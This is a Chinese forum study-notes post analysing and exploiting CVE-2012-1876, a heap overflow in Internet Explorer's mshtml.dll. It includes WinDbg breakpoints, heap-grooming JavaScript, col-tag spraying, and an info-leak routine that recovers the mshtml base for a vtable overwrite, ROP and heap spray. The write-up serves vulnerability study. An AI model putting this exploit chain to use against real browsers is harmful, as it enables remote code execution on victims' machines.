首页
社区
课程
招聘
[原创]学习笔记_CVE-2012-1876漏洞分析与利用
发表于: 2021-12-30 18:42 31032

[原创]学习笔记_CVE-2012-1876漏洞分析与利用

2021-12-30 18:42
31032

CVE-2012-1876

mshtml.dll中函数CTableLayout::CalculateMinMax,通过span属性值作为循环次数向堆内存中写入数据时,未对span进行有效的校验而导致堆溢出,可实现RCE.

调试ie,开启子进程调试,开启页堆,定位堆溢出位置

溢出点,edi的值导致了crash,edi=[esi+18],向上追踪esi何处被赋值

image-20211229114237566

查看堆栈,CalCulateMinMax存在大量对esi的操作,对CalCulateMinMax函数下断,进行分析

image-20211230113908818

首次加载页面,会获取一些属性,第一个参数为Table标签的类对象

ebx=CTableLayout

ebx+0x54== 所有col标签span属性值的和,标记为spannum

image-20211207230614071

如果通过判断:(this+0x94>>2) < spannum,则通过函数EnsureSizeWorker申请空间image-20211207232636863

函数EnsureSizeWorker内部会进行判断,确保最小申请空间为0x1C*4=0x70字节空间,并将地址存储入this+0x9C处

image-20211207232431207

执行完之后会对this+0x94进行更新

image-20211207232551022

通过调用函数over_trigger修改标签属性,第二次运行CalculateMinMax

此时this+0x94更新后==4,(4>>2)==spannum,所以不会再进行申请内存的操作

image-20211207225629386

此时GetAAspan返回值为0x3e8,说明span属性值已经成功被修改,但是CTableLayout成员变量并没有发生改变

image-20211208111707595

spannum仍然为1

image-20211208111908997

通过函数GetFancyFormat对修改后的width进行了一次运算(42765*100)<<4+9=0x4141149

image-20211209112737753

image-20211209112405108

然后将参数传入,通过函数GetPixelWidth进行第二次运算,最终通过width得到的结果为0x519159

image-20211209113435023

当运行到此处时,已经可以很明显的看出漏洞成因了,压入参数[ebp-0xc]也就是前面通过width计算出的值,通过函数AjdustForCol,循环1000次写入堆中,每次写入数据大小为0xC,而堆大小只有0x70,因为修改span后,没有重新分配相应大小的堆空间,最终会产生堆溢出.

image-20211209182233383

构造堆的布局,进行占位.让内存申请到释放的位置.

第一次溢出覆盖字符串长度,暴露mshtml基址.

第二次溢出覆盖虚表指针,构造rop,通过heapspray将shellcode喷射到覆盖的虚表指针地址,绕过DEP和ASLR保护,执行shellcode.

第一步申请内存空间,写入大量BSTR字符串,构造堆布局,释放存储字符"E"的堆空间,让EnsureSizeWorker申请内存时,可以占用释放的位置.

构造col标签,进行占位

通过windbg调试,输出日志,判断是否成功占位

程序成功申请到前面释放的内存,这里要去除页堆,不然成功率很低.

image-20211210181648025

image-20211214114306662

当前内存布局,可以找到CButton虚表指针,需要通过它计算出mshtml基址,因为CButtonLayout虚表指针和mshtml基址的偏移是固定的,为了能够读取到这个值,需要通过溢出改变字符串B的长度,读取CButtonLayout虚表指针

image-20211214122355831

第一次溢出,长度成功被覆盖

image-20211216213054096

通过暴露的虚表指针信息,可以找到mshtml.dll基址,偏移为:0x1584F8

image-20211214162949356

获取偏移后,再使用windbg调试,验证基址是否正确.

image-20211214164159962

第二次溢出覆盖CButtonLayout对象的虚表指针进行覆盖,控制程序执行流程

image-20211216214440760

这里进行覆盖的值=width*125,后面调用的虚函数地址为[eax+dc],与漏洞战争书上略有不同.

成功控制执行流程.

image-20211230174540512

下面进行heapspray,构造shellcode喷射到这个地址中.

为了使覆盖的虚表指针的值刚好是shellcode起始位置,并且eax+dc位置是xchg eax,esp ret指令地址,可以通过读取内存快速查找对应地址,写入第二次溢出的width中

结果

GIF

漏洞战争:软件漏洞分析精要

 
gflags.exe -i iexplore.exe +hpa
.childdbg 1
gflags.exe -i iexplore.exe +hpa
.childdbg 1
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
<div id="test"></div>
 <script language='javascript'>
     d = document.getElementById('test');
     var dap = "EEEE";
     while (dap.length < 0x200) dap += dap;
     var padding = "AAAA";
     while (padding.length < 0x200) padding += padding;
     var filler = "BBBB";
     while (filler.length < 0x200) filler += filler;
     var arr = new Array();
     var rra = new Array();
     //EEEE AAAA BBBB OOOO
     for (var i = 0; i < 1000; i += 2) {
         rra[i] = dap.substring(0, (0x100 - 6) / 2);
         arr[i] = padding.substring(0, (0x100 - 6) / 2);
         arr[i + 1] = filler.substring(0, (0x100 - 6) / 2);
         var obj = document.createElement("button");
         d.appendChild(obj);
     }
     //theap A B button
     for (var i = 200; i < 1000; i += 2) {
         rra[i] = null;
         CollectGarbage();
     }
 </script>
<div id="test"></div>
 <script language='javascript'>
     d = document.getElementById('test');
     var dap = "EEEE";
     while (dap.length < 0x200) dap += dap;
     var padding = "AAAA";
     while (padding.length < 0x200) padding += padding;
     var filler = "BBBB";
     while (filler.length < 0x200) filler += filler;
     var arr = new Array();
     var rra = new Array();
     //EEEE AAAA BBBB OOOO
     for (var i = 0; i < 1000; i += 2) {
         rra[i] = dap.substring(0, (0x100 - 6) / 2);
         arr[i] = padding.substring(0, (0x100 - 6) / 2);
         arr[i + 1] = filler.substring(0, (0x100 - 6) / 2);
         var obj = document.createElement("button");
         d.appendChild(obj);
     }
     //theap A B button
     for (var i = 200; i < 1000; i += 2) {
         rra[i] = null;
         CollectGarbage();
     }
 </script>
<table style="table-layout:fixed">
          <col id="0" width="41" span="9">&nbsp </col>
</table>
      <table style="table-layout:fixed">
          <col id="1" width="41" span="9">&nbsp </col>
 </table>
...
<table style="table-layout:fixed">
          <col id="132" width="41" span="9">&nbsp </col>
</table>
<table style="table-layout:fixed">
          <col id="0" width="41" span="9">&nbsp </col>
</table>
      <table style="table-layout:fixed">
          <col id="1" width="41" span="9">&nbsp </col>
 </table>
...
<table style="table-layout:fixed">
          <col id="132" width="41" span="9">&nbsp </col>
</table>
sxe ld:jscript
bu ntdll!RtlFreeHeap ".echo free heap;db poi(esp+c) l10;g"
bu mshtml!CTableLayout::CalculateMinMax+0x18C ".echo vulheap;dd poi(ebx+9c) l4;g"
.logopen c:\log.txt
sxe ld:jscript
bu ntdll!RtlFreeHeap ".echo free heap;db poi(esp+c) l10;g"
bu mshtml!CTableLayout::CalculateMinMax+0x18C ".echo vulheap;dd poi(ebx+9c) l4;g"
.logopen c:\log.txt
 
 
 
 
function one_overflow() {
          //首次溢出,通过CButtonLayout暴露mshtml基址
          var col = document.getElementById(2);
          col.span = 19;
      }
 
      function get_mshtml_base() {
          var leak_addr = -1;
          for (var i = 0; i < 10000; i++) {
              if (arr[i].length > (0x100 - 6) / 2) {
                  leak_index = i;
                  var leak = arr[i].substring((0x100 - 6) / 2 + (2 + 8) / 2, (0x100 - 6) / 2 + (2 + 8) + 4 / 2);
                  leak_addr = parseInt(leak.charCodeAt(1).toString(16) + leak.charCodeAt(0).toString(16), 16);
                  //alert("CButtonLayout VirtualTable Point:0x" + leak_addr.toString(16));
                  mshtml_base = leak_addr - Number(0x001584f8);
                  //alert("mshtml base:0x" + mshtml_base.toString(16));
                  heapspray(mshtml_base);
                  break;
              }
          }
      }
function one_overflow() {
          //首次溢出,通过CButtonLayout暴露mshtml基址
          var col = document.getElementById(2);
          col.span = 19;
      }
 
      function get_mshtml_base() {
          var leak_addr = -1;
          for (var i = 0; i < 10000; i++) {
              if (arr[i].length > (0x100 - 6) / 2) {
                  leak_index = i;
                  var leak = arr[i].substring((0x100 - 6) / 2 + (2 + 8) / 2, (0x100 - 6) / 2 + (2 + 8) + 4 / 2);
                  leak_addr = parseInt(leak.charCodeAt(1).toString(16) + leak.charCodeAt(0).toString(16), 16);
                  //alert("CButtonLayout VirtualTable Point:0x" + leak_addr.toString(16));
                  mshtml_base = leak_addr - Number(0x001584f8);
                  //alert("mshtml base:0x" + mshtml_base.toString(16));
                  heapspray(mshtml_base);
                  break;
              }
          }
      }
 
 

[注意]传递专业知识、拓宽行业人脉——看雪讲师团队等你加入!

最后于 2021-12-30 23:14 被ashLL编辑 ,原因:
收藏
免费 5
支持
分享
最新回复 (3)
雪    币: 220
能力值: ( LV1,RANK:0 )
在线值:
发帖
回帖
粉丝
2
大哥你rop咋找的,我用mona整mshtml会报错;!py mona rop -m mshtml.dll,一些exp里的rop 我这全对不上
2022-10-27 23:05
0
雪    币: 464
活跃值: (4217)
能力值: ( LV3,RANK:35 )
在线值:
发帖
回帖
粉丝
3
菜鸡雪 大哥你rop咋找的,我用mona整mshtml会报错;!py mona rop -m mshtml.dll,一些exp里的rop 我这全对不上
这就不清楚了,我当时rop也是用mona一个个找的,没遇到这些问题啊
2022-10-31 10:15
0
雪    币: 220
能力值: ( LV1,RANK:0 )
在线值:
发帖
回帖
粉丝
4
AshCrimson 这就不清楚了,我当时rop也是用mona一个个找的,没遇到这些问题啊
报错的问题,我提的issue 作者解决辣
2022-11-1 15:15
0
游客
登录 | 注册 方可回帖
返回
//